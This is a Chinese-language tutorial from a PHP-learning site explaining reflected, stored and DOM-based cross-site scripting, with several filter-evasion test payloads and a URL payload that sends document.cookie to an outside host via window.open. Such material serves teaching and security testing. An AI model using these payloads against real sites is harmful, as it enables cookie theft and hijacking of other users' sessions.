来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到...
跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。 最常见的跨站脚本的方法,输入 <Script>alert(1)</script> 以及它的各种变体 <script>alert(1) </script>实体 %3Cscript%3Ealert(1)%3C/script%3E URL编码 <scr<script>ipt>alert(1)<scr<script>ipt> <script x=1>alert(1)</script x=1> 还可以这样写 或者<script>confirm(1)</script> <javascript.:alert(1)>;等 如果提交后,页面弹出警告框,则该页面存在xss漏洞 *反射型xss 通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果 如:一段代码 <html><body> <script> document.write(location.search);</script>//location.search返回url?开始的部分 </body></html> 当输入以下url "http://127.0.0.1/attrck.html?search=222" 页面将显示:?search=222 ;但url中如果输入 /?search=<Script>alert(1)</script> 则页面的实际代码为: document.write(?search=)<Script>alert(1)</script>; 将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果 可以使用伪造后的url获取用户cookie 如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到并进行搜索
http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script> 因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域 *保存型xss 是指将恶意代码保存到服务器,比如发布一篇包含恶意代码,其他用户浏览时将执行恶意脚本 *基于dom的xss 严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss 查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com